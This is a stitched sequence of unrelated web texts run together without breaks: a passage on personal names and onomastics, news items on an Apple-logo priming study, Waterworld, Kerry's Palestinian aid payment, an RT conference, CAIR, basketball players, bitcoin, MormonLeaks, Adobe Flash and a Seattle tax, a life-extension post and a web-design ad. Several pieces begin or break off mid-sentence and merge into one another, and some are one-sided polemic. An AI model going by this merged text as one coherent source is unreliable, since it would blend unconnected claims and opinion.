The terms maiden name and girl’s name are sometimes used for the original family name of a married woman. Nickname is used in reference to surnames (which have not developed into family names), mainly of the jocose type—e.g., a thickish Mr. John Smith might be called Fatty. A surname, also called a byname or to-name (obsolete), can be used to differentiate persons with the same family names if they belong to different families and if given names are not used among them. In a village there may be several families with the name Jones; if they are not called or referred to by first names, they may be known as Jones at the Pond, Jones the Redhead, and so forth. Hypocoristic forms of names are those that are used in familiar, friendly, or intimate situations (usually shortened or otherwise modified)—e.g., Tom for Thomas, Jim for James. Some of these forms are also used as given names, particularly in the United States.
In a few areas, particularly among East Slavs, the so-called patronymic (i.e., a name derived from the given name of the father) is inserted between the given name and the family name. In Russian, if the father’s name is Ivan Krylov, then the son’s name will be, for example, Pyotr (given) Ivanovich (patronymic) Krylov (family), and the daughter’s name will be, for example, Varvara Ivanovna Krylova. The usual form of address in Russian—among acquaintances, neighbours, colleagues at work, and inclusive superiors—is by the given name and the patronymic. In Iceland the given name is used with the patronymic, the use of family names being discouraged. In Spain the family name of an individual consists of the family names of father and mother, the first being the most important one.
There are variations in the basic pattern. In the United States and Canada the usual practice is to insert another name (frequently expressed in writing only by the initial letter) between the given and the family name. This is the second, or middle, name. It may be the original family name of a married woman inserted between her first name and the last name of her husband, the maiden name of one’s mother, as well as other names. In Europe such a second name is less common and is usually acquired at baptism (or, eventually, at confirmation). In most European countries the first baptismal name is the important one, and the second one (third, and so forth) can be omitted. In German usage, however, the baptismal name immediately preceding the family name is the most important one. For example, if one of the baptismal names in Johann Sebastian Bach or Johann Wolfgang von Goethe is to be omitted, it would be Johann. (But in a sequence like Johann Nepomucenus Nestroy, the shorter form is Johann Nestroy, because Nepomucenus is only an attribute discerning one of the numerous saints who had the name Johann.) British usage varies in this respect but sometimes follows the German pattern—e.g., W. Sidney Allen.
There are many subdivisions and terms within the category of personal names. Originally, one name was given to a person at an early period of life—in Europe (and later in America), normally at baptism. This is called simply the name, the baptismal or Christian name, or the forename; in the United States and Canada it is usually called the first name or the given name. Because many people received the same name (given name), they were differentiated by surnames (for example, John Redhead, John Hunter, John Scott). Many of these surnames became fixed and hereditary in individual families. These are called either surnames or family names, and in the United States and Canada they are frequently known as last names. Thus the basic pattern is given name + family name, together called the name or the personal name. There are exceptions concerning this sequence. Among the Chinese and Hungarians, for example, the family name precedes the given name: Mao Zedong, Nagy István. The Hungarians usually switch the order when they write English; thus, Nagy István becomes István (or Stephen) Nagy. The Chinese, however, maintain the order of family name first.
In any case, different categories of names frequently must be studied together, because there are transitions. For instance, many place-names are derived from personal names (e.g., Washington), many names of planets and stars are derived from the names of mythological characters (e.g., Venus, Mars, Alpha Centauri), and many personal names are derived from place-names, names of nations, and other such names (e.g., Austerlitz, Napoleon’s battlefield; French; Scott). There is also a division of names into primary and secondary ones. Neptune is primarily the name of a Roman god; transferred to the name of a planet, it is a secondary name.
The science that studies names in all their aspects is called onomastics (or onomatology—an obsolete word). The subject of this science is broad because almost everything can have a name and because the study of names theoretically encompasses all languages, all geographical and cultural regions, and all historical epochs. For practical purposes, some divisions of the subject are necessary—e.g., by language (as the study of Kiowa or Provençal names) or by geographical, historical, or similar partitions (the study of the names in India, of the Levant at the time of the Crusades, and so forth). Another division (usually combined with the preceding ones) is given by the character of the names themselves; in a very broad categorization, names of persons, or personal names, are discerned on the one hand, and names of places, or place-names, on the other. In the most precise terminology, a set of personal names is called anthroponymy and their study is called anthroponomastics. A set of place-names is called toponymy, and their study is called toponomastics. In a looser usage, however, the term onomastics is used for personal names and their study, and the term toponymy is used for place-names and their study. The term toponymy itself can be understood in two ways, even in the exact terminology: either it is taken in the broadest possible way as including inhabited places, buildings, roads, countries, mountains, rivers, lakes, oceans, stars, and so on, or it is restricted to inhabited places (cities, towns, villages, hamlets). If the latter alternative is the understanding of the term toponymy, then the uninhabited places (e.g., fields, small parts of forests) are called microtoponymy; names of streets, roads, and the like are called hodonymy; names of bodies of water, hydronymy ; and names of mountains, oronymy. Additional terms are not generally used (though one occasionally hears words like chrematonymy—names of things).
The naming process
One of the most important elements of the naming process concerns the meaning and associations of the name. In this case the term meaning is radically different from that in the case of common nouns, in which the “meaning” is their ability to be used in reference to a class of entities, to denote or designate them. As was noted above, the absence of this ability to refer to a class of entities is typical of a name. If the meaning of a typical common noun, such as automobile, is considered, it can be seen that it denotes a certain type of vehicle. On the other hand, if the word automobile itself is considered, one can see that it consists of a Greek element, auto ‘self,’ and a Latin one, mobilis ‘movable,’ so that the sum of the meanings of the constituent parts of the word suggests a gloss like “self-movable,” “self-mover.” The meaning of a name involves that which the constituent parts suggest. In this sense, the meaning of a name like Red River is obvious. To get a meaning of a name like Philip, however, one must go back to its original Greek version, Philippos, which means “lover of horses.” This meaning of names frequently gets lost, however. There are several causes for this, one being that the name may be accepted into another language, as were the Indian place-names in America (e.g., Oshkosh, Chicago, Kankakee) and the Greek and other names transferred to Europe and America via Christianity. In addition, names may cease to be understood as a result of language change; e.g., the place-name Birmingham was understandable in Old English as “habitation of Biorma’s people,” and the originally Germanic name Gerard was once understood as “strong spear” (Ger-hardo). Names also changed by shortening (e.g., Los Angeles, from El Pueblo de la Reyna de los Angeles, “Town of the Queen of the Angels,” the town named in honour of the Virgin Mary) and by scribal error (e.g., Pria in France, a misread medieval abbreviation of Pradaria, “Meadow”). Another cause of the loss of meaning in names is that the meaning simply fades out by constant use of the word as a name. No one thinks of the meaning “ford for oxen” when speaking about Oxford, and no one realizes a discrepancy if Mr. White has a dark complexion. Finally, it sometimes happens that a name has no particular meaning from the beginning. For instance, the place-name Tonolo and the family name Bréal were created from random sequences of sounds.
Choice of personal names Names that have no meaning (above all not for the person who chooses the name) still can have associations. Although “Mary” and “John” may have no specific meaning, they were the names of important persons in the Christian religion and therefore have been used very frequently. An association may be so strong that it overwhelms the meaning of a name, even a disagreeable meaning; e.g., the association with the cult of St. Demetrios made the name Demetrios one of the most popular in the Greek Orthodox Church, though its meaning is “belonging to [the pagan goddess] Demeter.” On the other hand, such an association may more or less completely fade out and be combined with or replaced by other associations, such as a national tradition (Patrick in Ireland, Yves in Brittany, István in Hungary, Ivan in Russia) or with a family tradition (Louis in the Bourbon family, Wilhelm among the Hohenzollerns, Henry in the Ford family). On a less-elevated level, there is the example of a rich uncle making a given name more than eligible. A name can be associated, correctly or not, with various prestige factors, or its choice may be influenced simply by fashion. Another source of names, often extraordinary ones, was the occasional habit in Roman Catholic countries of giving a child the name of the patron saint whose day of celebration coincides with the child’s day of birth (or baptism); many names like Hyacinthus X, or Narcissus Y, were produced in this way. In the majority of cases, children are given “good,” likable, and propitious names. In some cultures (e.g., in some parts of sub-Saharan Africa, formerly in China, and sporadically in ancient Greece), however, the children are (or were) sometimes given “bad” names with meanings like “ugly,” “disagreeable,” or “crippled.” The purpose of such names, which are called apotropaic names, is to make the child undesirable to demons. The choosing of a given name is a highly private and individual matter. All the circumstances just mentioned can be motives for the choice, in addition to many other personal reasons, such as a consideration for the relatives’ names or a simple liking of the phonetic shape of a given name. This wish to give a likable name may go so far that a sequence of sounds is chosen that sounds pleasant to the person who makes the choice but that has no relation to the existing stock of names or to the words of the language; e.g., “Golly” was invented as a name of a girl and has no “meaning” or associations. This phenomenon is relatively common in the United States.Starting back when it was Apple Computer, the company now known simply as Apple has attempted to foster a strong brand identity that's associated with an image of creativity. Now, a new study (PDF) that will appear in next month's Journal of Consumer Research suggests that the vaunted Reality Distortion Field may be grounded in reality, revealing that Apple's efforts have paid off in unexpected ways: not only do consumers consider Apple creative, but the subliminal display of an Apple logo is enough to motivate them to be more creative. The study provides some revealing insights into the very strange inner workings of our brains.
The focus of the study was the process of priming, in which subtle exposure to stereotypical items elicits behaviors associated with those items. For example, the authors cite results showing that young people primed with exposure to the elderly walked more slowly and displayed poorer memory than their peers. In cases like this, it appears that priming simply activates existing mental constructs that influence behavior, but there is evidence that priming can also be motivational. Students primed with images of a parent can perform better on tests, possibly through the motivation to please the parent.
The new study focused on how brands fit into this. Previous work had shown that people tend to assign personalities to brands, but it was far from clear that brands could be motivational; after all, unlike your parent, a brand is not going to congratulate you for your good test score. To test this, the authors compared the role of two brands in motivating student performances: Apple and IBM. Both were rated equally positively by the students, but they had distinct brand personalities, with only Apple being assigned the quality of "creativity."
Students were given tasks that either subliminally or overtly exposed them to the corporate logos. Afterwards, they were given an "unusual use test," in which they were given the opportunity to come up with creative uses for a brick. Both total number of uses, and a panels' subjective rating of their creativity were scored. Using either measure, the exposure to the Apple brand, even subliminally, primed the students to greater creativity.
The authors argue that this effect was motivational. If an unrelated test was inserted before the brick test, it should clear out any mental constructs arising from the priming; instead, the irrelevant task seemed to enhance performances in the later brick test. In addition, surveys revealed that those who desire to be more creative scored higher when exposed to the Apple logo, while those who had no such motivation were indifferent to the exposure.
This sort of behavior goes well beyond Apple and creativity. The authors also looked at honesty by giving two groups of students different surveys, one that focused on their past honesty, and one that asked them how they felt they could improve their honesty. They then used a brand associated with honesty—the Disney Channel—and registered the students' choices in situations that balanced honesty with social niceties ("does this dress make me look fat" type questions). Those motivated to improve their honesty through the survey emphasized it after exposure to the Disney brand. Those exposed to a different brand or who felt satisfied through a remembrance of past incidents of honesty did not.
Given the impact that factors like honesty and creativity have in all aspects of life, the authors conclude that "exposure to brands may well have a profound influence on social behavior in everyday life." Although their work focused on creativity, they did note that IBM is associated with traits such as "traditional, smart, and responsible," suggesting that there may be a brand for almost any behavior. Given the pervasive exposure to brands, it seems as if our brains are constantly awash with unrecognized cues that motivate us in unexpected ways.
Journal of Consumer Research, 2008Star of the 1995 box office disaster claims that it is a favourite among fans and was a ‘joy’ to work on
While Waterworld might have a firm place in the list of Hollywood’s most notorious flops, the film’s star Kevin Costner claims that it holds a special place for fans worldwide.
Kevin Costner: five best moments Read more
Blogger Jeff Wells at Hollywood Elsewhere contacted the actor to apologise for helping to trash the film on its release in 1995, when he worked for Entertainment Weekly.
“I’m not sure you know how beloved the movie is around the world,” Costner replied. “Being hard [on a film] is really easy if you don’t know the underbelly of what [went into it]. When you do know the forensics of a movie – the participation and decisions of others that one has to stand in front of – you can’t help but see it differently.”
Costner went on to describe his own experience of working on the film and how its failure at the box office didn’t affect his pride for his work.
“I know that people might think of Waterworld as a low point for me,” he said. “It wasn’t. It could have had a better, more obvious outcome. The thing I know is that I never had to stand taller for a movie when most were going the other way. The movie with all its imperfections was a joy for me … a joy to look back upon and to have participated in.”
At the time of its release, Waterworld was the most expensive film ever made, with an estimated budget of $175m. It told the tale of a post-apocalyptic world and a Mad Max-esque fight for survival. It only grossed $88m at the US box office but it did receive a token Oscar nomination for best sound mixing.
• This article was amended on Wednesday 19 August 2015. We mistakenly said that Kevin Costner starred in and directed Waterworld. He was the star, but the film was directed by Kevin Reynolds. This has been corrected.The State Department is reviewing a last-minute decision by former Secretary of State John Kerry to send $221 million dollars to the Palestinians late last week over the objections of congressional Republicans.
The department said Tuesday it would look at the payment, one of the Obama administration's final acts in office, and might make adjustments to ensure it comports with the Trump administration's priorities.
Kerry formally notified Congress that State would release the money Friday morning, just hours before President Donald Trump's inauguration.
"I was tracking President Obama's 11th-hour moves on the Palestinians, and this issue never came up once... Most analysts and observers didn't think Obama would or could do this," Dr. Jonathan Schanzer of the Foundation for Defense of Democracies told Business Insider.
Congress had initially approved the Palestinian funding in budget years 2015 and 2016, with the US Agency for International Development sending the Palestinians $355 million in 2015.
But at least two GOP lawmakers Ed Royce of California, the chairman of the House Foreign Affairs Committee, and Kay Granger of Texas, who sits on the House Appropriations Committee had placed holds on the funds as the Palestinian Authority had pursued "a unilateral tract towards statehood and they were not trying to work with Israel," said Schanzer.
Congressional holds are generally respected by the executive branch but are not legally binding after funds have been allocated. "Most analysts and observers didn’t think Obama would or could do this," said Schanzer.
"The easiest way to sum it up is that Congress had been looking at various behaviors from Palestine — unilateral attempts at statehood, corruption, incitement of violence, and paying salaries to people in jail for terrorism — and that's why the hold has been there," said Schanzer.
mahmoud abbas yasser arafat More
Granger released a statement Tuesday saying, "I am deeply disappointed that President Obama defied congressional oversight and released $221 million to the Palestinian territories."
She added: "I worked to make sure that no American taxpayer dollars would fund the Palestinian Authority unless very strict conditions were met. While none of these funds will go to the Palestinian Authority because of those conditions, they will go to programs in the Palestinian territories that were still under review by Congress. The Obama Administration's decision to release these funds was inappropriate."
The Obama administration had for some time been pressing for the release of the money, which comes from the US Agency for International Development and is to be used to fund humanitarian aid in the West Bank and Gaza, to support political and security reforms and to help prepare for good governance and the rule of law in a future Palestinian state, according to the notification sent to Congress.
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Obama's unilateral attempt to send the money came as he closed his presidency with a critical eye toward Israel. In December, the UN Security Council passed a resolution demanding that Israel stop building settlements on Palestinian land. The US refused to vote on the resolution, effectively allowing it to pass.
Trump has repeatedly floated the idea of moving the US embassy in Israel to Jerusalem, which Abbas has urged against.
NOW WATCH: This is how the legal marijuana industry is affecting Mexican drug cartels
More From Business InsiderJulian Assange will take part in a discussion dedicated to information privacy and security in the digital age, organized as part of an RT conference on media and politics. The WikiLeaks founder will tune in on Thursday from the Ecuadorian embassy in London.
The session, titled 'Security or Surveillance: Can the right to privacy and effective anti-terror security coexist in the digital age?' will also be attended by former counter-terrorism specialist and CIA military intelligence officer Philip Giraldi, whistleblower and former MI5 intelligence officer Annie Machon, noted CIA whistleblower Raymond McGovern, and historian, author, and strategic analyst Gregory Copley.
Read more
The discussion will be moderated by Thom Hartmann, host of RT America's political discussion program 'The Big Picture.'
Assange will be speaking from the Ecuadorian embassy in London, where he has been holed up for over three years after being granted asylum in order to avoid extradition to Sweden, where he faces sexual assault allegations. From Sweden, the WikiLeaks founder fears he would be extradited to the US for publishing classified US military and diplomat documents in 2010 – a move which amounted to the largest information leak in United States history.
The panel discussion is part of an RT conference titled 'Information, messages, politics: The shape-shifting powers of today's world.' The meeting aims to bring together politicians, foreign policy experts, and media executives from across the globe.
Discussions on a wide variety of international issues will take place, including Middle East security, Russia's role on the world stage, and the role of the media in today's world.
The conference will be held at Moscow's historic Metropol Hotel on Thursday, the 10th anniversary of RT's first news broadcast. To find out more, visit the official website of the conference.According to a report at CounterJihad, calls to Seddique Mateen, father of Orlando jihadi Omar Mateen, and other relatives “are now redirected to a phone number for a CAIR attorney, and another CAIR lawyer is sitting in on FBI interviews with suspects at Mateen’s radical mosque in Fort Pierce, Fla. – even though the FBI has suspended formal ties to CAIR over the group’s association with terrorist groups.”
CAIR has been declared a terrorist organization by the United Arab Emirates and was named by federal prosecutors as an unindicted co-conspirator in a Hamas-funding operation.
Despite this status, which has been upheld by a federal judge, CAIR has a habit of involving itself aggressively in Islamic terrorism cases.
As CounterJihad notes, they held a press conference for “family members to help spin their story before investigators had a chance to talk to them” in the San Bernardino jihad case, moving within hours of the the attack to “lawyer up key witnesses and suspected co-conspirators in the plot, including relatives and friends of the shooters along with leaders of their mosque.”
In Orlando, CounterJihad reports CAIR is supplying a lawyer, Omar Saleh, who is a friend of the Mateen family, and also a “longstanding member” of their mosque. In fairness, it would be unusual for a friend of the family to refuse to offer assistance in such a time of need.
Saleh also sat in on the first known FBI interview conducted in association with the Orlando massacre, another member of Mateen’s mosque, as reported by Reuters.
More intriguing than pro bono legal assistance is the amount of narrative control CAIR seems to be exercising, including a great deal of energy devoted to the narrative that Omar Mateen was an indifferent attendee of services at the mosque, not particularly religious, and a shy individual nobody could have pegged as a potential terrorist.
As CounterJihad notes, that is very different from the accounts given by other acquaintances of Mateen, including mosque attendees who described him as a regular at services for many years, including on the night before the nightclub attack.
The major argument advanced by CAIR after every Islamic terrorist attack is that the terrorists had nothing to do with Islam, and there is nothing suspicious about any Islamic organization they were affiliated with. That message would be better delivered by an organization with fewer ominous affiliations than CAIR, whose chimerical relationship with the U.S. government remains a constant source of bewilderment.In a city as frigid as Reno during this time of year, Bighorns guard Lamar Patterson has been red hot. His team has reaped the benefits of his strong play, posting a 4-2 record the past six games.
Patterson credits preparation as a key to his recent success. Looking ahead to the grind of a D-League schedule stays top of mind for the 25-year-old guard.
“Making sure my legs are fresh and ready to go,” Patterson said. “Beginning of the season my legs were tired from two separate training camps, practice, traveling, and of course the games. But, that's a part of the business so I had to find a different approach to making sure I got the appropriate rest and treatment.
“More ice and compression boots have been key along with more visits to our team trainer in Reno,” Patterson added. “All of these components have been very helpful.”
Before joining the Bighorns, Patterson spent training camp with the Kings. He describes the opportunity to play with Sacramento’s D-League affiliate as a “humbling one” that’s teaching him to become a leader both on and off the court.
“I was able to gain the respect of the guys with my NBA experience and also being someone everybody can talk to,” Patterson said. “So with that I've taken on the challenge to be that leader. Also being in Reno is teaching me how to be a more consistent player in every aspect of the game.”
Statistically speaking, Patterson has been among the D-League’s best. Over the course of the Bighorns last six outings, he’s averaged 27.7 points, 7.3 rebounds, 4.8 assists and 2.7 steals per game. For a perimeter-oriented player, he’s shooting a healthy 49.1 percent from the field. His true-shooting percentage is 59.8 and his effective field-goal percentage is 54.
Patterson has also been the D-League’s third-leading scorer. He’s achieved this by taking advantage of defensive holes, shooting better than 70 percent from less than five feet away from the basket. If he makes his way into the restricted area, Patterson has given opponents all sorts of trouble by making 75.5 percent of his shots at the rim.
Being able to go inside and cause problems has led to added benefits for the Bighorns. Averaging 10.2 free throws a game, over a quarter of his points are made from the charity stripe. He is putting opposing players into foul trouble, drawing 7.5 personals per contest.
Patterson has also shown an ability to stretch the court, which has opened up the paint for the Bighorns. His most effective deep ball is from the left corner, where he’s shooting 40 percent over the past two weeks.
With his play both inside and out shining recently, Patterson’s season averages are now 21.6 points, 5.9 rebounds and 4.8 assists per game. In Patterson, it seems the Bighorns have found a very talented player they can lean on from a night-to-night basis.Bitcoin traders remain optimistic that the digital currency’s price will increase, even as it continues to reach new all-time highs.
A perfect sign of this bullish sentiment is the recent increase in trading volume, a development that helps illustrate the strength of bitcoin’s current, upward trend.
Bitcoin’s 24-hour trading volume surpassed $365m today, more than 150% higher than the session low of close to $140m attained 1st March and more than 200% above the figure of roughly $110m reached 27th February, CoinMarketCap figures reveal.
Bitcoin’s price has repeatedly set new record highs over the last several sessions, rising to a fresh record of $1,284.33 today, according to the CoinDesk Bitcoin Price Index (BPI).
The digital currency’s price has been following this trend since 23rd February, when they broke through the previous record of $1,156.89 set in November 2013.
At the time of report, bitcoin prices had retreated slightly, falling to $1,259.59, BPI figures show.
Long data
Another strong indicator of the market’s bullish nature is long-short data. Bitfinex’s market for BTC/USD trading has been heavily long today, BFX Data reveals.
When measured in terms of long and short exposure, this currency pair has fluctuated between roughly 66% and 75% long during the session, pointing to the optimism that traders have about bitcoin’s future price gains.
These bullish indicators could point to a continued rally in which bitcoin keeps reaching new all-time highs, which contrasts starkly with the period of more than three years when bitcoin prices failed to set a new all-time high.
Bull/bear image via ShutterestockThere are now two MormonLeaks websites. I regret the confusion this has created, and I hope this post will help explain how this came to be.I am the owner of most of the domain names for MormonLeaks, including mormonleaks.com, mormonleaks.org, and a few others. The website that I operate with two other people is here:For about five years, I have worked with two friends to build the MormonLeaks, a website dedicated to the use of computing tools and historical evidence to figure out where Mormonism really came from.About a month ago, Ryan McKnight, a person who has now released insider Church videos and financial information, contacted me about buying MormonLeaks.We turned him down.For a time, Mr. McKnight used the name "MormonWikiLeaks", but a few days ago, he unexpectedly trademarked the name "MormonLeaks", and he is now using the domain name mormonleaks.io. As it turns out, this is a domain name that I did not purchase.I do not know Mr. McKnight personally, but now |
provocative actions, are really just human pawns in a larger geopolitical game.
No matter what, peace must be preserved in the Balkans, and a regional war must not be allowed to break out because of the US’ manipulations and the hotheaded tempers of a few provoked individuals on both sides. Hybrid Wars thrive in environments where the populace is ignorant of their existence, goals, and the divisive social manipulations used to conjure up conflict, but by raising awareness of the bloody mess that the US is working to create in the Balkans, God willing, everyone will take a step back, realize the tremendous stakes that are at risk, and join together in building an alternative and peaceful future.
Thank you all again, take care, and God bless.Posted 6 years ago
This sweet new Chrome extension creates a temporary history of the songs you've been listening to and provides an easy download link to nab your favorite tracks. It even sets the right name on the file and adds id3 tags. I'm using it right now and I have to say, it is very convenient.
My biggest gripe with Hypem used to be that I would like a song there, come back a few days later to hear it again and it'd be taken down. That always sucked. Now I can just download it for my future listening pleasure, in case Hypem has to take it down.
Scott Rogers, the creator of the plugin, also plans to add desktop alerts for what track is playing and support hot keys. Sounds pretty sweet.During his ongoing 7 year stint in the NBA, Andrew Bynum has been anything but a sure thing to play on a nightly basis.
He’s played a full 82 game season just once (06-07) and less than 65 games those 6 other years (05-06, 07-12). In total, Bynum has missed 166 games, which is the equivalent of almost 2 full NBA seasons. *This does include the lockout shortened season of 11-12.
During the 76ers Media Day this past Monday, it was announced that Bynum will miss the next 3 weeks of training camp for precautionary reasons.
About a week before camp began, Andrew underwent Orthokine treatment on both of his knees. The procedure is noninvasive and involves the patients blood being extracted, processed and then re-introduced to the body as an anti-inflammatory drug to help reduce chronic pain. While seeing the Doctors, Bynum was also diagnosed with a bone bruise on the medial femoral condyle of his right knee, which was completely unrelated to the Orthokine treatment.
He will be limited to impact conditioning drills for the foreseeable future.
Long-term, this is the best decision the 76ers could have made.
This franchise just invested a lot into this 7 foot, 285 pound center. He’s the man now. He’s the franchise. With his history of injuries, it’s best to play things on the side of caution instead of testing the strength of his knees so early on.
This past year, Bynum proved he can maintain a clean bill of health and be a huge difference-maker on the court. He played and started in 60 of a possible 66 games for the Los Angeles Lakers last year while putting up averages of 18.7 points, 11.8 rebounds and 1.9 blocks a game. He was also voted in as the starting center for his very first NBA All-Star appearance.
Philadelphia head coach Doug Collins recently told Hoopsworld.com how important it is to have Bynum healthy and ready to go for the start of the season.
“Obviously, it’s disappointing. Nobody’s more disappointed than Andrew. I spoke to him the other day, and he is so champing at the bit to come in here and to live up to all the expectations. He knows what’s at stake. So much of what we’re going to do offensively and in the halfcourt is going to revolve around Andrew.
“I think it’s very important, as a player who went through injuries, one of the things you have to be very careful about is not letting the guy’s ambition and wanting to get out there too quickly get in the way of any long-term place of where you want to be. It could be that on Opening Night against Denver [Oct. 31], it could be the first game he plays for us. Hopefully, he’s going to be able to get on the practice court, maybe get a good week of work before we go into that opener.”
With a roster that includes 8 brand new players, it’s a tad troublesome knowing that Andrew won’t be able to have a full training camp to mesh and adapt with his new teammates.
He’s not a Los Angeles Laker anymore. He doesn’t have Pau Gasol in the paint and Kobe Bryant on the wing to cushion his fall.
It will be interesting to see (when he’s healthy of course) how Bynum adapts to being the focal point of an offense and if that will have a significant impact on his bad knees and his ability to stay healthy.
To add some optimism, Kobe Bryant also had the same Orthokine treatment on his own knees and he says “it added 5 more years to my legs”.
If anything, it’s probably better to see Andrew miss time now rather than missing a stretch of games in January/February when competing for ranking in the NBA Playoffs is of the utmost importance.
Christopher Walder is a sports blogger and lead editor for Sir Charles in Charge. You may follow him on Twitter @WalderSportsHere it is, hiding halfway down the company’s latest press release, like a guillotine in a crowded town square: “Adobe is planning to end-of-life Flash.” Boom. That’s the sound of the blade dropping, and Flash, finally, thankfully, mercifully dying. Because Adobe just killed it.
It’s actually slightly more complicated than that. Adobe is working with Apple, Facebook, Google, Microsoft, and Mozilla to put that last nail in Flash’s coffin over the course of the next three years. The Adobe statement continues, “Specifically, we will stop updating and distributing the Flash Player at the end of 2020 and encourage content creators to migrate any existing Flash content to these new open formats.”
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This is great news, although hardly surprising. Flash has been dying a slow, painful, and even dangerous death for years now. As more and more developers moved to open standards like HTML5, the once-ubiquitous Adobe software started disappearing from websites left and right. Meanwhile, Flash was riddled with security concerns and became a frequent target for hackers looking for malware delivery mechanisms. Adobe just couldn’t issue security updates fast enough to keep people’s machines safe.
Last year, Google decided Flash was so risky that announced a new system whereby Chrome would default to HTML5 whenever possible. And that happened just a few months after Google banned Flash in display ads. At this point, Flash was a zombie. In fact, the slow, ugly death of Flash had started back in 2015, when Adobe killed the Flash brand. Moving forward, the software that had been called “Flash Professional” was renamed “Adobe Animate.” Still, the hackers kept hacking, and Flash remained dangerous under any name.
Even though Flash is officially dead, it will take some time to phase it out completely. That’s exactly why Adobe enlisted the help of the country’s largest technology companies, each of whom released their own statements. You can read those statements here: Apple, Facebook, Google, Microsoft and Mozilla. It’s hard not to read Apple’s statement without hearing Steve Jobs’s voice:
Apple users have been experiencing the web without Flash for some time. iPhone, iPad, and iPod touch never supported Flash. For the Mac, the transition from Flash began in 2010 when Flash was no longer pre-installed. Today, if users install Flash, it remains off by default. Safari requires explicit approval on each website before running the Flash plugin.
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After all, it was back in 2010 that Jobs raised his scythe and declared that Adobe Flash needed to die and that Apple would deal the first blow by not supporting the software on iOS devices. Here’s a key quote from that legendary blog post:
Flash was created during the PC era – for PCs and mice. Flash is a successful business for Adobe, and we can understand why they want to push it beyond PCs. But the mobile era is about low power devices, touch interfaces and open web standards – all areas where Flash falls short.
So it will have taken Adobe a decade to admit it, but Steve Jobs was right. PCs and mice will still survive. Not Flash. Flash is dead. Long live HTML5.
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[Adobe]Seattle is the fastest-growing big city across the U.S., but a potential new income tax would sway folks away from the area and negatively affect its bustling business ecosystem.
That’s what Steve Ballmer told KIRO Radio this week, with the former Microsoft CEO noting how an income tax, which is currently moving through city council and would target Seattle’s wealthiest residents, could cause an “unfavorable business climate.”
Ballmer said the income tax would “cause people to think about moving jobs elsewhere” away from Seattle, which he described as “a center of talent in the tech industry.”
Ballmer also opposed a proposed statewide income tax, I-1098, in 2010. He donated $100,000 to the campaign against the initiative, which was ultimately defeated.
The Seattle City Council unanimously approved a motion earlier this month that establishes a timeline to begin consideration of an income tax bill by May 31, with a goal of passing the legislation by July 10. The motion includes few details about what the income tax would look like, but city lawmakers have repeatedly said that it will target Seattle’s wealthiest residents and spare ordinary working people. The law will almost certainly be challenged in court, as Washington state’s constitution forbids local jurisdictions from imposing an income tax.
Seattle currently relies on state and property taxes for its funding. At a recent economic conference, economist Chris Mefford said he believes “it is mathematically impossible to succeed fiscally without a state income tax.”
Madrona Venture Group Managing Director Matt McIlwain countered, saying that tech talent is drawn to the region, partially, because of its lack of income tax. He said the current property and sales tax system is more than adequate to fund the city.
“We have a tax revenue problem, and the problem is what are we going to do with all the incremental tax revenue we have received from our three primary sources,” McIlwain said.
Ballmer, meanwhile, also told KIRO that he has zero intention of moving his NBA team, the LA Clippers, to Seattle. Ballmer, now working on a non-profit called USAFacts, was part of an ownership group that tried to bring the Seattle Supersonics back to Seattle in 2013 before he paid $2 billion to buy the Clippers in 2014.Let’s formulate the task of life extension slightly differently. Something like this…How can we extend sex appeal?
Gyms and beauty salons are in charge of this question now. There is some success, but it’s mostly superficial. Plastic surgery only masks, but doesn’t delay the processes of aging.
Expanding sex appeal is a complex task. Its aspects include both beauty and the activity of the brain. To be sexually attractive we have to be smart and fun. One cannot solve the problem of dementia with makeup.
We have to be in an excellent physical shape to be sexually attractive, but also things should be running smoothly with our hormonal regulation.
The task of extending the period of sex appeal is extremely science-intensive. It is not only the Viagra, but a complex impact on the whole organism. It is obvious that molecular biology is responsible for sex in the modern world.
What do we know so far? Biological studies of various aspects of sexuality are on very different stages.
In some areas, like rejuvenating skin and muscle, science is on the verge of inventing effective therapies.
In other areas, like rejuvenating the brain, for example, the first fundamental discoveries have been done just very recently. I’d like to mention several “growth points” that may become key in extending sex appeal.
1. Creating artificial stem cell niches for skin rejuvenation. Interestingly, stem cell niches can be used for stimulating hair growth.
2. Studying the possibility to rejuvenate muscle satellite cells to fight sarcopenia and restore muscle tone and strength.
3. Identifying the systemic factors that facilitate rejuvenation in parabiosis (that’s when two animals share their blood systems). This model demonstrated how not only the muscle, but also the nervous system could be improved.
4. Hormonal regulation, but not using the hormone replacement therapy, but rather stimulating the endocrine glands directly.
5. The impact of diet on health.
I’d like to highlight a very powerful solution in improving sexuality – it’s gene therapy.
Right now many issues are being dealt with in this area ranging from the choice of nucleic acid intracellular delivery systems to increasing safety. However, I’m quite confident that the biological nature of human being will be radically improved and you cannot avoid using gene therapy for these applications.
Rejuvenating hypothalamus and delivering telomerase gene into various tissues get the most attention when we are talking about extending sexuality.
I’d like to note that there will be an explosive growth in the area of rejuvenating technologies soon. Out of 200+ papers, published in the Nature Journal on the topic of rejuvenation, more than 100 date within the last 2.5 years.
I am planning to write several posts about interesting research and trends in the area of extending sex appeal.www. Teachwebdesign.Com
(powered by)... www.Davmagic.com First Watch Our New VIDEO Build A Webpage For Yourself
Become A REAL Honest-To-Goodness Webmaster
You will be able to use and enjoy the valuable benefits of having your own kool website. You can give your site address to others and they will be able to go directly to your site and enjoy what it's all about! It's more Fun and Better than writing and having a Book or Novel published and sold at some book stores... And MOST IMPORTANTLY, you will have COMPLETE Control of your page design, and be able to make changes to it yourself whenever you want (in real time) from your own PC!... (can't do that with a Book that you wrote and published)... And not to mention, it's all FREE!!! no Books, CD's, Tutors, Paying a Design Company or Going to a Costly College are required!!! Just your Desire, Time and Patience... are all you really need here! Everything is available Online!
In addition, with the advent of more and more people trying to sell Items on CRAIGSLIST, you'll be Far Ahead of those who just put their Phone No or Address in their ads, or who rely on the Craigslist Email to get contacted... (Craigslist allows anyone to use HTML in their ads...) So by using HTML and building a web page for potential buyers to goto from your Craigslist ad, you can "capture" their attention more fully and show them all the things that you want them to know! See Our Craigslist Tutorial
